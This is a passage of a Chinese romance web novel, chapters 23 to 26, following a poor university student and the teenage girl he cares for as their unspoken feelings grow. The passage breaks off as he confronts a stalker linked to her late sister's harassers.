他怕初雨喜欢他。
做青梅竹马可以,做兄妹可以,做家人可以。
唯独做情侣,不可以。
他短期内给不了初雨很好的生活条件,如果明知初雨喜欢他,还不阻拦的话,目前只会害了她。
人的情感太复杂,或许神也读不懂。
言迹喜欢初雨,想把最好的东西都给她。
却不要初雨喜欢他,因为他现在太穷,和她恋爱等于耽误她。
也害怕初雨对他的喜欢是暂时性,等她以后不喜欢了,他们之间又该怎么相处?
最重要的是,他们两个年龄相仿,一个刚成年,一个未成年。
对于男女之间的感情,两人都是懵懂青涩的。
稀里糊涂在一起,不管不顾在一起,是对双方都不负责的表现。
不能那样草率。
想法兜一大圈,最终回到原点。
最痛苦的地方在于,他根本不清楚初雨的心底所想。
她所有的言行举止,套上家人的身份之后,都能说得通,都很合适。
这种模糊不清的,难以梳理明确的情感,黏.腻像蜂蜜铸成的沼泽,像和果酱充分融合的糖浆,难分你我。
越想逃离,越是沉迷。
言迹打算暂时不去想这件事,打算观察一段时间再做对策。
幸运的是,初雨没再发烧。
不幸运的是,言迹即将开始为期两周的新生入学军训,军训期间不能回来,要初雨一人独自生活两个礼拜,言迹不是很放心。
言迹给初雨留够了生活费,给她交代一大堆注意事项。
让她晚上睡觉关好门窗,有不舒服就赶紧去医院,不准拖延,要好好吃饭按时睡觉别总是熬夜,出门要注意安全不要在外面待的时间太晚。
有事就给他打电话,他能接的时候肯定会接,连打三遍没接的话就是在军训,暂时接不了。
“好啦,我都记住了,你就放心去吧。”初雨装作一副嫌他啰嗦的模样,实际心里很舍不得他。
在学校军训而已,被他们弄得好像是要出国并且再也不回来了一样。
半个月时间,说长不长,说短也不短。
言迹不在家的时候,初雨一个人睡到自然醒。
有兴致的话会下厨做饭,想偷懒就泡方便面。
天气晴好的情况,她会去外面的书店逛一圈。
阴雨连绵的日子,她躺在客厅沙发上,静静盯着外面的雨滴看。
躺在言迹睡觉的位置,仿佛还能闻到他身上残余的洗衣粉香味。
只是她不小心睡着了,没人替她盖被子。
每晚睡前,言迹会给她打五分钟的电话。
这五分钟成了初雨最翘首以盼的环节。
言迹问她有没有按时吃饭?她心虚说有,言迹听懂了,他叹一口气,说等他回来给她做好吃的。
挂掉电话之后,初雨想起言迹在她身边的时候,吃一碗方便面都会觉得可口美味,这会儿望着窗外家家户户亮起的灯光,她只觉得万分孤寂。
好想言迹快点回来。
掰着手指等到言迹回来的那天。
初雨早上起床,专心收拾家里,她擦干净家具,扫地拖地,扔掉垃圾。
刚过中午十二点,她就坐在沙发前,等言迹回来。
时针转了几个圈,钥匙拧进锁孔的声音提醒她,她日思夜想的人,回来了。
“言迹!”她起身,小跑到门边。
言迹的皮肤看起来还是那么白,一场军训没晒黑他,他的眼尾弯翘:“看到我回来,这么开心啊?”
“那当然!”
从你离开家去军训开始,我就在等着你回来的这天。
言迹走进来,右手提着一个粉色包装袋递给她:“奖励你自己一个人在家生活两周的礼物,这么大的进步,该夸。”
她没想到还有礼物:“是什么?”
“拆开看看。”
23. 第二十三夜
初雨试了试包装袋的份量,不重,猜不到里面放着什么东西。
她拿出里面的礼物——
做工精致的白色连衣裙映入眼帘,裙子肩带由布料做的几朵白玫瑰缝纫,腰线清晰,裙摆有漂亮的褶皱线条点缀,后背的拉链位置较低,设计偏清凉。
言迹回来的路上,从这家店外经过,被橱窗里展示的这件裙子吸引。
他知道初雨在气候适宜的季节常穿漂亮裙子,长裙多于短裙,浅色多于深色。
发现好看的裙子,第一时间想买给她。
言迹走进店内,礼貌询问裙子价格。
工作人员取下裙子,面带标准职业微笑向他介绍:“帅哥,这条裙子属于清纯和成熟之间的风格,纯棉质地,穿起来舒服,就适合送你这个年纪的女生。”
言迹听着店员报出裙子售价,犹豫要不要买,价格足够他和初雨半个月的生活费。
他脑补初雨穿上这条裙子会多开心,突然觉得半个月生活费换她的笑容也值了。
“麻烦帮我装起来。”
他决定买这条裙子,心里盘算要开始多找几份兼职,多赚钱多攒钱,努力让日子过得越来越好。
店员笑着应:“好的。”
裙身带着的吊牌,晃动裙子价格。
言迹温声:“麻烦把标签剪掉。”
他买裙子给初雨,是为了她开心,不是要她心疼价钱。
店员利落剪掉吊牌,装好裙子,双手拎着包装袋递给他:“慢走,有什么需要的话再来。”
他微微颔首:“好,谢谢。”
此时,初雨眼眸里惊喜的神色外溢,远比言迹预想的情形还要满足。
“哇……好漂亮的裙子,”她捧着裙子爱不释手,“比动画片里的公主裙还漂亮!”
“喜欢吗?”
她脱口而出:“特别特别喜欢!”
“那换上试试?”
初雨捏着裙子的手指关节用力收紧,面色显露畏怯,迟迟不见下一步动作。
“我……我后背有伤疤,穿着不好看。”她的声音低,情绪跌落谷底。
幼时,她用身体挡住被迫承受父亲家暴.行为的妈妈。
父亲用皮带在她后背留下的狰狞伤口,皮肉虽早已愈合,伤疤却不曾抹去。
“好看的从来不是衣服,”言迹嗓音温柔,眼神里流淌着心疼,“是你。”
初雨错愕地抬头,猝不及防对上他坚定的眼神,听到他说:“是伤疤吗?我认为是副独一无二的画,是你勇敢的印记勋章,和你这个人一样特别。”
后背上的伤疤,她看不到,但总隐约感觉,有块烙印灼烧着后背的皮肤,时间久了,演化为不可告人的丑陋过往。
拼命想要去遮挡,也不愿意正视。
“伤疤不丢人,你很漂亮。”言迹向来凛冽的双瞳里升上柔润的温度,像三月的风吹化寒冬河面上的厚冰。
一同吹散,初雨心底深处对于自己身上伤疤的偏见。
丢人的不是有伤疤的她,是心狠手辣赐予她伤疤的父亲。
她的眼眶发热,吸吸鼻子:“那我去试试。”
“嗯,去吧。”
初雨回房间换好新裙子,少女的身形流畅,轻柔布料越过膝盖,转圈时的裙摆像盛开的花朵。
她跑出房间,给言迹看她转圈的裙摆:“你看!好漂亮!”
穿上这条裙子的初雨像山间最纯洁的百合花,不染凡尘的清丽脱俗感仿佛与生俱来。
言迹说的没错,好看的从来不是衣服,是穿衣服的人。
“确实漂亮得不像话,穿着合身吗?”
“合身!就是我平时穿衣服的尺寸。”
这条裙子,像为她量身定制的,每一处都和她的整体风格异常合拍。
她得到礼物的欢欣还没消退,手指摸着布料,忧虑爬上心头:“裙子很贵吧?”
就知道她要心疼价钱,还好提前让店员剪掉了吊牌。
“不贵,这不是你该担心的事,”言迹支开话题,“饿了吧?我洗洗手给你做饭。”
她进厨房帮言迹准备食材。
一顿饭的时间,她追着言迹问了很多大学校园里的事情。
问他大学和高中有什么不同?军训都做些什么?有没有交到新朋友?
能看得出,她对大学校园生活抱有憧憬。
说到这里,言迹问她:“你想什么时候复学?我可以提前帮你补补落下的功课。”
她思忖几秒:“明年九月,可以吗?”
过几个月还要复查她的畏光症,短期内没办法回学校,只能等来年九月。
“当然可以,你想什么时候回去都行。”
言迹翻页日历,“下个月我带你出去玩吧?最近要上学,还接了周末出去发传单的兼职,比较忙,下个月有休息时间。”
她点头,关心:“有什么是我能给你帮忙的吗?”
言迹不用她操心生活里的各项琐事,在她发顶揉了揉:“照顾好你自己就是帮我大忙了。”
又是这样,好的全给她,苦留给他自己吃。
想帮他分担,他不给机会。
天气转凉,他们重新分开睡。
初雨睡房间,言迹睡沙发床。
言迹的大学课表排的满,课余时间还要做各种兼职赚钱。
初雨在家也没闲着,她逐步复习高一上学期学过的旧知识,预习高一下学期的新知识。
忙碌起来的时间,像是被无形大手按下倍速键,流逝飞快。
十月中旬,言迹的休息日当天,他难得睡了个奢侈的懒觉,起来已经快九点。
他洗漱过后,轻手轻脚收拾完家里,下楼丢了垃圾,去早餐店买两份早饭带回家。
初雨被他出门的声响吵醒,他回来时,初雨刚洗漱好。
“简单吃点早饭,中午带你去外面吃火锅。”
言迹放下早饭,“外面冷,你要穿裙子的话,再带件外套,小心感冒。”
生活中的各种小事,他都照顾的井井有条。
全然没有这个年纪的毛躁和稚嫩,是让人可以放心依赖的存在。
听他的话,初雨给杏黄色的裙子搭件白色外套出门。
他们先步行去图书馆归还她上周借阅的高中知识书,走到隔壁街区的人行道上,两侧的枫树经风肆虐,枫叶漫天飞舞,最终都降落在路面上。
鞋底踩断叶片,发出脆生生的碎裂音,不绝于耳的熟悉响声,像是重回上小学的那条必经之路。
言迹眼中的两抹亮色,第一是地上的枫叶,第二是初雨身上穿的杏黄色长裙。
这次没牵手,为什么心跳还是不受控制地加速。
没等言迹想出这个问题的答案,初雨就进了图书馆还书。
言迹留在图书馆外等她出来,再一起去火锅店。
今天周末,中午饭点的火锅店里人满为患。
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找了个靠窗的位置坐下,点完菜等锅里的汤煮沸。
菜很快上齐,初雨单手托腮看言迹往沸腾的汤锅里下菜。
言迹察觉到她直白的目光,唇角勾笑:“怎么一直盯着我看?”
她的语调是依赖他的踏实:“我在想,有你陪着我好起来,所以我重新爱上这个世界,不敢想象要是没有你的话,我该怎么办。”
言迹下菜的动作微顿,和她对视的眸光意味深长:“即使没有我,你也要好好生活。”
万一他哪天闭上双眼就再也没办法睁开,万一他哪天遭遇不测,不能再陪她一起共享喜怒哀乐。
“你这话怎么说得像要告别一样?”
“不会,别乱想,”言迹给她碗里夹煮熟的肥牛卷,“趁热吃。”
初雨低头吃牛肉,听到邻桌几个女生讨论当红偶像的声音。
她们说得万分激动,你一言我一语,对各自看好的艺人大加赞赏。
“真不是我说,就他的颜值,娱乐圈再找不出第二个条件这么好的了吧?”
“那个谁也很好啊,会唱歌会跳舞,演技更厉害,算是全能艺人。”
“哎,听说很火的歌手下个月要来我们市里开演唱会,你们去看吗?”
言迹听到她们的话题内容,把电视屏幕里的人当精神寄托好像也不错。
他当即问初雨:“小鱼,你有偶像吗?”
可以陪她了解感兴趣的明星,给她买海报贴房间里,陪她去看演唱会,追完每部有她偶像出演的电视剧。
“有啊。”初雨说得很轻松,似乎已经喜欢这个偶像很长时间了,丝毫不意外被人问起。
言迹好奇:“是谁?”
“你啊。”初雨的笑意纯真清澈,不含半分戏弄。
言迹的耳尖迅速升温,有惊讶的情绪在眼中铺开,很快被害羞取代:“小鱼,别开这种玩笑。”
“没开玩笑啊,你学习好、做事认真、面对很多事都坚韧不屈……还主动照顾我这么久,从来不嫌我烦,而且情绪特别稳定,不管发生什么状况你都应对自如,哪一点不值得当我的偶像呢?”
她掰着手指头细数,说得言迹不好意思,他的整个耳廓像被严寒冷冬冻伤,红得惹眼。
没说出来的是,她不仅很崇拜他在逆境中的迎难而上,也喜欢他看向她时,眼角捎带的那缕淡笑。
他们吃完火锅,走另一条路回家,这条路上经过几家照相馆,有的照相馆门口摆放着拍大头贴的机器,操作简单,费用低廉,备受年轻人推崇。
初雨对于没尝试过的东西抱有探究心理,朝路过的大头贴机器投去新奇的眼神。
言迹余光扫到她的举动,及时折返:“我们也拍几张大头贴吧?”
“好呀。”
按流程操作,他们站在一起,选好合适的模板,摆中意的姿势拍摄。
初雨自始至终,眼角眉梢都浸着恬淡的笑容,言迹和她保持着幅度相差无几的浅笑,拍出来的效果很上镜。
他们的外表同样优越,不管怎么拍都好看。
捏着裁剪好的大头贴,言迹和初雨走出几步路,他迫不及待撕开一张大头贴的背膜贴纸,把两人的合照贴在他手机壳后面。
初雨顺口问:“怎么贴手机上?”
言迹欣赏贴好的照片,嗓音染笑:“这样就能随时随地看到我的小鱼了。”
我、的、小、鱼。
他第一次这么称呼她。
24. 第二十四夜
去年,言迹称呼初雨,总叫她“我们小鱼”。
当时她说:“这个家里,不是只有我和你吗?那你以后叫我的时候,就不要叫‘我们小鱼’,直接叫‘我的小鱼’不就好了?我们小鱼是你和谁的小鱼?我是哥哥一个人的小鱼呀。”
言迹拒绝:“不行,我以后直接叫你小鱼,你就是你,不是谁的什么附属品。”
她疑惑不解:“我也没说要当谁的附属品呀,是你说过拿我当亲妹妹,‘我的小鱼’不就是叫妹妹的称呼吗?”
言迹察觉到他敏感谨慎过度,反而有些矫枉过正。
“我的小鱼”说是“我的妹妹”的另一叫法倒也合理,但怎么听都有些暧昧对象之间的宠溺。
两人对同一称呼的见解各有看法,加上言迹不允许他对初雨动心,自然会拒绝一切和暧昧沾边的内容,慎之又慎。
现下他说出“我的小鱼”四个字,已经足够说明他的心意转变。
他喜欢她,已成事实。
或许把这份心意永久藏在心里,才是最佳选项,但凡说破真实心思,两人的关系再也不会纯洁无瑕。
更何况,目前的他,给不了她幸福无忧的生活。
两手空空的他,没勇气对暗恋对象说出“我喜欢你”,不负责任的告白,是对她的不尊重。
他控制不了自己的心喜欢上她,至少可以控制自己的嘴不说喜欢她。
初雨听到她一直想听的称呼,真的从言迹嘴里说出,她清澈的小鹿眼满含不可置信和惊喜。
她学言迹那样撕开一张大头贴,贴在自己手机后面,嘴角的笑容浓郁:“这样我也能随时随地看到我的言迹了。”
手机后面贴的两张大头贴,像是情侣才会做的事。
不用言说的默契,是他们的心意相通。
自以为隐藏很好的心事,其实对方都懂。
彼此配合伪装想法,只为把目前的关系,稳定牢靠地延续下去。
“嗯,看腻了的话,我们以后再来一起拍新的。”
“好!”
步行一段路程,即将到达他们生活的街区。
旁边新开的饰品店里,流连着许多和初雨年纪相仿的少女。
她往店内投去目光,粗略瞧到店内售卖的物品种类繁多。
“进去逛逛吧。”言迹顺着她的视线追踪到终点,知道她对这家店感兴趣,那就陪她逛。
店里有一股说不上的香气,算不上高端,但也不是廉价的刺鼻香。
逛到有女生发绳和发卡的区域,初雨的脚步明显慢下来。
她细细端详带钻的发卡,有灯光折射在上面,更加璀璨夺目。
“你喜欢哪几个?我给你买。”言迹看到她蠢蠢欲动的手,再加一句,“不用管价格,给你买发卡的钱还是有的。”
她拿起一只粉色心型的带钻发卡,对着一旁的镜子在头发上比了比,发卡没拆包装,她看到包装袋后面的价格,这么小小一个发卡,竟然将近一百块钱。
好贵。
但是好漂亮。
发卡小钻上反射的灯光,是她破碎一地的心。
她不能问言迹要这么贵的东西,他省吃俭用,读书同时做好几份兼职,每一分钱都赚的不容易,她什么忙都帮不上已经很糟糕了,不能再任性要贵的发饰。
她把发卡放回原位,嘴硬掩饰对发卡的不舍:“不是很好看,我再挑挑别的。”
“行。”言迹被她骗过去,没有多想。
离开发饰区,她和言迹逛到冬季取暖物的货架。
帽子、手套、耳套、围巾……色彩鲜亮,设计温馨,看了让人自动脑补寒风凛冽的冬天,戴上这些东西会有多么暖和。
围巾都不怎么长,她想找一条同时足够言迹和她一起戴上的围巾。
等她和言迹今年冬天再依偎着看电视的时候,就能戴同一条围巾取暖。
每个冬天都漫长寒冷,她许愿有一条很长很长的围巾,能将她和她珍视的人,围在一起,直到永远。
“要是有条很长的围巾就好了,能把你和我围在一起。”
她说笑着看向言迹,眼神里晃荡的情绪,替她补上后半句——这样我们就不会分开了。
“我们去别的店里找找,说不定真有呢。”
“没事,我自己织一条就好啦。”
只有她知道,她想要什么样的围巾,围巾上又该是什么样的图案。
十一月末,她织好了那条长长的围巾。
淡蓝色的毛线,绕着双情人网的花样,织进去的每一针,都是她不能明说的心意。
她献宝似的把围巾捧到言迹眼前:“我织好啦!”
言迹伸手抚过柔软的围巾,像摸价值连城的易碎品那样小心:“小鱼好厉害,这么长的围巾,花了不少时间吧?”
她轻描淡写:“还好啦,要试试吗?”
“嗯。”言迹动手先给初雨围上围巾,再把另一端围在自己脖颈上。
长围巾像他们之间看不见的羁绊显形,紧紧将两人牵连住,难以分开。
言迹的眼尾缀上她最熟悉的浅笑:“好暖和。”
她张开胳膊抱住言迹,将脸庞埋进他衣服里:“这样更暖和。”
怦怦——怦怦——
她听到言迹胸腔里加速跳动的心拍,鲜活有力地振动着,响在她耳畔,好像是破译不了的密码,内含深沉的情感。
言迹回应着她的拥抱,轻拍她的后背。
无言的安静空气里,沸腾心动的低赫兹音波。
晚上,言迹坐在茶几前完成作业。
初雨趴在他身后的沙发上翻看漫画。
言迹完成作业后,初雨刚好看完漫画。
她皱眉抱怨:“好差劲的男主角。”
“嗯?说给我听听?”他好奇初雨看了什么内容,才能说出这么尖锐的话。
她给言迹转述:“书里的女主角特别优秀,却挑了一个各方面条件不如她,还和其他女生搞暧昧的男生当男朋友,女主角为这样的人,放弃了很多,怎么喜欢这么差劲的男生。”
言迹点头:“这样的男生确实不配得到真诚的爱。”
“就是就是。”
言迹话锋一转:“那你呢?你喜欢什么样的男生?”
初雨挪开心虚的目光,抬手理好耳边碎发:“怎么突然问这个……”
他装作随口一问:“单纯好奇,你不想说也没事。”
其实他有私心,他想看看,初雨说的条件里,有没有他符合的一两项?
剩下不达标的条件,会成为他努力补齐的标准。
她趁此机会,暗示言迹:“我喜欢比较温柔的男生,最好是多照顾我一点的,要做饭好吃,不骂脏话不打人的。”
言迹完美符合全部条件,简直就是对着答案出考题的程度。
他的温柔仅她可见,对别人都是冷淡疏离的态度,照顾她更是不用说,做饭水平日渐上升,不说半个脏字,长这么大也从来没打过谁。
“要求这么低啊?”言迹眼生笑意,笑她傻,“达到这些条件,就能当你男朋友啊?”
符合条件的男生一抓一大把,他愣是没往自己身上联想。
他认为自己算不上温柔。
照顾她也照顾的一塌糊涂,夏天害她发烧,冬天也没法带她住进有暖气设施的房子里。
做饭勉强就是把食材做熟的水平。
没什么事需要他依靠骂脏话和打人来解决。
初雨的眼珠转了转,古灵精怪:“当然还有最重要的一点啦!必须是我很喜欢的人!”
她用和他交汇的目光,谱写隐形的情话——我就喜欢你,不是喜欢你这样同类型的男生,是只喜欢你言
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迹。
言迹牵动唇角,挤出一个难以形容的酸涩笑容:“往后肯定能遇到的。”
她都想好了,如果未来不能和他谈恋爱的话,那她就一辈子不谈恋爱不结婚。
爱情不能得到最喜欢的人,那她不愿将就,只要极致的自由。
“遇不到也没事,反正我还有些不想恋爱害怕结婚呢。”
初雨想起她从小到大的成长历程,叹口气,“我怕我会像我妈一样,被残忍对待,也怕对方会和我爸一样,有很多不良嗜好,就算不结婚,我自己也能过得好。”
说白了,她只放心言迹。
两人从小一起长大,对彼此的品行,了然于心。
言迹赞同她的想法:“我也不想结婚,不想我爱的人经历婚姻的蹉跎和生孩子的痛苦,母亲很伟大,但我不要我的爱人当伟大的人。”
他只想他喜欢的人,一直幸福开心地生活下去,除此之外,别无他求。
恋爱、结婚、孕育,这些话题,有些遥远。
当下的时刻,只想和眼前人有一个又一个的明天,能相伴一天是一天。
天气降温,十二月中旬,盛阳市降下今冬第一场雪。
言迹从学校去打工的咖啡店路上,踩着雪前行。
咖啡店里暖气给的足,他给客人做好咖啡,望着外面的落雪,心里想,初雨在家有没有穿厚衣服,肯定很冷吧。
手里的钱勉强够买一台空调,但是买完空调,他们的生活会非常拮据,过完年他还要交春季的学费。
那就买台小太阳取暖器吧,小太阳价格不高,他买得起,只是取暖范围有限。
明年夏天一定买变频空调,往后冬夏都不用初雨再受罪。
当晚,言迹带着一台新买的小太阳回家。
按说明书上的步骤装好,插上电源,很快看到橙黄的暖意亮起。
小太阳正对坐在沙发上的初雨和言迹,他们围着那条很长的围巾,盖同一条毯子,电视里放着综艺。
这样也很温暖。
看完综艺,初雨还不困。
言迹拿过一旁的耳机:“那听会儿歌?”
“好。”
他们各戴一只有线耳机,播放初雨爱听的歌曲。
“言迹。”她的声线稍显慵懒,应该已经有了困意。
“嗯?”
她轻声:“我们什么时候能去电影院里看一次电影?我请你看。”
她看的那些书上,男女主角都会去电影院。
似乎她认为,只要和言迹做过所有情侣都会做的事,他们就会有一个好结局。
第一步,就先从看电影开始吧。
手上还有些以前攒着的钱,够看电影。
言迹温声:“我放了寒假就陪你去看电影,不用你请,我这有咖啡店老板做活动给客人发放的电影券,还剩几张,分给员工们了。”
还没到寒假,她就开始期待那一天。
好不容易等来约定看电影的当天,她以为会是一个晴天,结果外面飘着小雪。
“衣服穿厚,我们走吧。”言迹带上钥匙,在门口换鞋。
“好。”
他们看了个喜剧电影,影院内暖气融融,影院外冰天雪地。
看完电影,言迹和初雨离场,去公交车站等回家的车。
初雨搓搓手,鼻尖冻得通红。
“出门之前,我让你戴帽子围巾手套,为什么不听话?”言迹拿她没办法。
她打了个喷嚏:“我才不要裹成臃肿的粽子。”
言迹拉开棉服拉链,从初雨身后敞开,用衣服包住她的身体,给她挡风御寒。
他的下巴刚好抵在她发顶,喉结滚动,嗓音低磁:“再有下次,我就不管你了。”
她的眼角眉梢全是计谋得逞的满意笑容,听到他的警告,反问:“你舍得吗?”
25. 第二十五夜
“明知故问。”言迹轻敲初雨头顶。
想给她一点颜色瞧瞧,又不舍得真的弄疼她。
她压抑声线里的窃喜,带着撒娇劲儿:“想听你亲口说嘛。”
“好好好,”言迹放低声音,像哄闹脾气的女朋友,“我舍不得不管小鱼。”
有很多个瞬间。
她和言迹静默对视的分秒、她和言迹牵手时,体温交换的触感、她听言迹像现在这样放软语气哄她的时候……
很多次都想脱口而出,想不管不顾地告诉他,她很喜欢他。
每次即将开口,总剩最后一丝理智牵制她的冲动。
说出来之后呢,该怎么收场。
言迹要是不愿意和她转变关系,往后每天抬头不见低头见,会有多尴尬?
她咬咬唇,又一次忍下表白的冲动。
算了,反正现在他们生活在一起,谈不谈恋爱无所谓,只要言迹在她身边就好。
公交车到站,他们坐在后排。
车上有暖气,初雨还是觉得有些冷,她看到言迹的手指关节也因为刚才吹了些冷风在泛红。
“言迹,你的手冷不冷?我的手有些冷。”她把自己的手伸到言迹面前,悄悄猜他会怎么应对。
言迹握住她的手,塞进他棉服外套的宽大口袋:“我给你暖暖。”
她的眼神直视前方,手指在他口袋里活动,主动和他十指相扣。
好像只是觉得十指相扣比较好玩,完全不管这个动作代表多么亲密的关系。
言迹侧眸微凝她侧脸,没说什么,就让她这么握着。
默许她的言行举止越来越放肆。
公交车匀速行驶,窗玻璃罩层薄雾,模糊车外景色。
视野范围里最清晰的,就是身边人的存在。
初雨稚嫩的青涩瞳眸中,攀附几分发自内心的愉快。
她的生活终于不再是苦涩的单曲循环,显然已拉开下一篇章的序幕。
今年寒假和去年寒假最大的区别就是,今年依靠小太阳取暖器,过了一个不太冷的冬天。
春天如约到来,气温回升。
言迹挑天气还不错的日子,带初雨去医院复查畏光症。
心理医生询问过情况,说恢复的可以,问她还有没有其他方面的不舒服,最好做个神经系统方面的全面检查。
突然间,过往的一些不适,在脑海里疯狂提醒她。
手指麻木无力、食欲下降、偶尔呼吸困难、小腿抽筋……
这些症状没有严重到影响正常生活的地步,忍忍就过去了。
应该没什么大事。
言迹赚钱不容易,不用花冤枉钱做一些没必要的检查。
初雨决意隐瞒:“没有其他不舒服,谢谢医生。”
从医生办公室出来,言迹一脸正色:“小鱼,你真没有别的不舒服?”
她赶忙掩饰:“真的没有呀。”
言迹又不是傻子,她那么明显的欲盖弥彰,怎么会看不出。
“可是,如果真的没有不舒服,你应该会马上回答医生的问题,刚才你迟疑了两三秒,在想什么事情?”
他反复追问,生怕初雨隐瞒病情。
“真的没有……”初雨低头看脚尖,“我总要好好回忆一下,才能保证没有遗漏什么症状吧。”
言迹觉得要是这样的话,也合乎逻辑。
气氛短暂僵持。
言迹仔细分辨,到底是他太敏感容易多心,还是初雨真的在掩盖真实情况。
“我饿了。”初雨抬眸看向她,眼眸中的无辜和可怜,是她早已会在他面前熟练运用的伎俩。
她知道,每次她用这样的眼神望向言迹,他就会败下阵来,同意她任何条件。
这次也不例外。
言迹整理好情绪,温声:“走吧,我们去吃饭。”
初雨跟着他往医院外走,听到他补充:“往后要是有哪里不舒服,你及时告诉我。”
“嗯嗯,肯定会的。”她口头上答应着。
现阶段的初雨,和初雪离世那段时期的初雨,简直判若两人。
她不再像发病期那样沉静忧郁,笑容和话都变多了些,心态更好,比起整日闷在家里,她更喜欢出门晒晒太阳,整个人被灌注大量鲜活的生命力。
生活就此正式步入正轨。
言迹开学后,忙于学业和兼职。
初雨趁言迹不在家的时间,打开手机的搜索功能,查询附近哪里有许愿很灵的寺庙。
她本不信这些。
但事实摆在面前,她康复速度快,估计也有言迹帮她求的平安祛病符起了作用。
既然这么灵验,她也想去寺庙帮言迹求一个保佑他身体健康的符。
距离言迹上次睡美人综合症发作,过去近一年的时间。
他说过、她也查过,这个病确实有自愈可能,说不定现在就是彻底痊愈了呢?
为给心理上多一点踏实,她决定去求个符。
佛祖都能保佑她好起来,肯定也会护佑言迹的。
他那么善良正直,没理由不让他健康活到长命百岁。
寺庙人不多,她到家时,言迹还没有回来。
等到言迹进门,她第一时间给出健康符:“我白天去庙里给你求了个健康符,你随身戴着吧。”
言迹瞳眸中有很明显的意外和惊讶,他接过健康符收好:“谢谢小鱼,路程远吗?累不累?”
她又是揉肩又是按腰,表演痕迹过重:“哎呦,好累好累,腰酸背痛的,要是你抱抱我,就能缓解一点了。”
“是吗?”言迹放下手里的书包,鼻音漫出轻笑,“那我多抱你一会儿,你就能缓解很多了。”
她好像格外喜欢拥抱。
言迹张开双臂,将她拥进宽阔的怀抱里。
她闻到言迹身上熟悉的洗衣粉香味,鼻腔内被他的荷尔蒙气息包围,身体被他圈在怀里,莫名的特别安心。
除了拥抱和牵手以外,再贪心一点,想和他做更亲密的行为。
比如……亲吻。
主动提出这种要求的话,会让演技觉得她很奇怪吧?
严重的话,会觉得她不自爱。
可她只想借亲他的动作来表达,她很喜欢他。
也想看看,言迹向来清冷温柔的眼眸,是否会因为亲吻的过程,滋生一些她不曾见过的情感。
思绪乱飞之际,言迹放开她:“感觉怎么样?”
她很夸张:“感觉腰不酸了背不痛了,一口气能爬上珠穆朗玛峰!”
言迹忍俊不禁:“那我还挺厉害的。”
“你在我心里,一直是最厉害的。”她的真诚,让言迹有些受之有愧。
他认为他就是普通到不能再普通的大学生,每天忙着上课和赚钱,到底哪里厉害了?
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言迹轻咳一声,掩饰不好意思:“饿了吧?我们出去吃饭?我明天休假,可以陪你出去玩。”
“好!”
走出楼下大门,初雨和他说吃完饭想去书店逛逛。
“行。”言迹扫到对面楼的门口,蹲着一个正在抽烟的黄毛男生。
男生穿着皮夹克和牛仔裤,眼神定在初雨身上。
言迹走在初雨外侧,阻断男生视线。
身后传来声令人不适的嗤笑。
城中村这一带最不缺游手好闲的社会青年,这类人最常去网吧和酒吧,烟酒不离手,有时会对漂亮女生吹口哨,丝毫不觉得丢人,反而觉得自己很有个性。
言迹以为这个男生也是那群社会青年中的一员。
直到他和初雨在去吃饭的路上,还有回家的途中,他好几次突然回头,都能瞥到那个黄毛男生在不远处的身影。
被跟踪了。
言迹快速寻找被跟踪的缘由是什么。
他在学校和兼职的店里,为人低调不惹是非,从没和谁起过争执,不存在结下梁子的仇家。
只不过拒绝了几个女生的表白,这也会惹来麻烦吗?
他拒绝的话并不伤人啊,谢谢过对方的心意后,说明心有所属,最后祝对方遇到更好的人。
难道初雨独自出门的时候,被人盯上了?
黄毛男生想搞明白她的情况,踩准时间后方便下手?
想到这种可能性,言迹内心怒火中烧。
当然还有最后一种——害过初雪的那些人,已经出狱,他们没讨回两姐妹父亲欠下的高利贷,就盯准他的女儿报复。
言迹后背冒了层冷汗。
他也是一个不到二十岁的学生,面对这种情况也会有不知所措的时刻。
以为只要换个环境就可以摆脱那些人,没想到还是被缠上。
暂时不清楚被跟踪的原因,他问初雨:“小鱼,最近我不在家的时候,有没有陌生人来敲门?”
“没有呀,”她的警惕性比较低,但是一路上,言迹频频回头,她也有些不安,“发生什么事了吗?”
言迹先安抚她:“我就问问,最近有上门推销产品的人,怕你被骗。”
“放心吧,我不会给陌生人开门的。”
进了家门,言迹装作有东西忘买的样子,着急下楼:“小鱼,我想起有东西忘了买,现在我下楼去买,你在家锁好门等我回来。”
初雨确信他今晚很反常,打算等他回来再仔细问问:“那你注意安全。”
“嗯,记得反锁门。”
言迹说完就出门。
初雨听他的话,反锁家门,听到言迹先是着急跑上楼,没要一分钟,又快速跑下楼。
她整个人都被未知的恐惧包裹。
畏光的感觉又在心底蠢蠢欲动,她忍着不舒服,跑回卧室躲进被窝,似乎被窝可以帮她挡掉所有危险。
言迹先去上面两层楼确认有没有可疑的人伺机而动,没看到人影,才重新跑下楼。
他刚跑出大门,就闻到一股烟味。
黄毛男生扔掉烟头,轻蔑一笑:“我打算抽完这根烟,再上楼找你,你怎么主动来找我了。”
“你谁?我认识你吗?”言迹浑身的冷厉感加倍上涨,他浓黑的眼眸里,透露着危险的警告。
“你不认识我,我可认识你。”黄毛男生走过来,“换个人少的地儿说话?”
26. 第二十六夜
“行。”言迹答应。
他们走到另一条人少的僻静巷子,黄毛男生停下脚步,转身回看言迹:“都是镇上高中毕业的,我们也算校友吧,看看你现在,多光鲜亮丽啊,名牌大学的学生,过几年再找份好工作,啧啧。”
言迹不想废话,直奔主题:“有话直说。”
男生没有言迹高,矮半头的差距,在气势上输一大截。
“你对我没印象,对我哥肯定有印象,我哥是徐昊。”徐超补充,“他出狱了,得病等着用钱。”
徐昊的父亲,就是给初雨父亲放高利贷的债主。
初雨父亲逃跑之后,徐昊带人找上还在世的初雪,三番五次纠缠、骚扰、出言不逊。
初雪哀求给她一点时间,她会努力偿还父亲留下的债务。
徐昊当惯了地痞流氓,面对陷入困境的少女,他不仅没有心软,还升起恶劣的心思:“你爸欠的钱,你打一辈子工都换不清,不如我给你出个好主意,你陪哥几个玩一玩,我们给你找个赚快钱的地方,怎么样?”
初雪吓得颤抖,双腿站不稳,索性给他们跪下:“求求你们了,我能还清的,我肯定能还清的。”
有想过逃跑,可初雨还在读书,办转学手续没那么简单,更何况存款不多,她们举目无亲,又能跑到哪里去。
徐昊不仅没心软,还对初雪上下其手,笑得狰狞:“别那么傻嘛,能让自己轻松点赚钱,干嘛天天辛苦打工?”
不堪入耳的话大肆攻击初雪,她大声喊着救命,眼泪往下砸。
即使当时放学的初雨找到防身武器去天台救初雪,混乱之中,初雪还是坠了楼。
被惩治的一群混混,各自家里“大显神通”,刑期一降再降。
初雪永远离开了,初雨也活在过去的阴影中。
言迹以为,搬家离开就是结束。
拼命逃出去,还是被麻烦找上来。
“关我什么事?”言迹的眼神和语调,冷淡犀利。
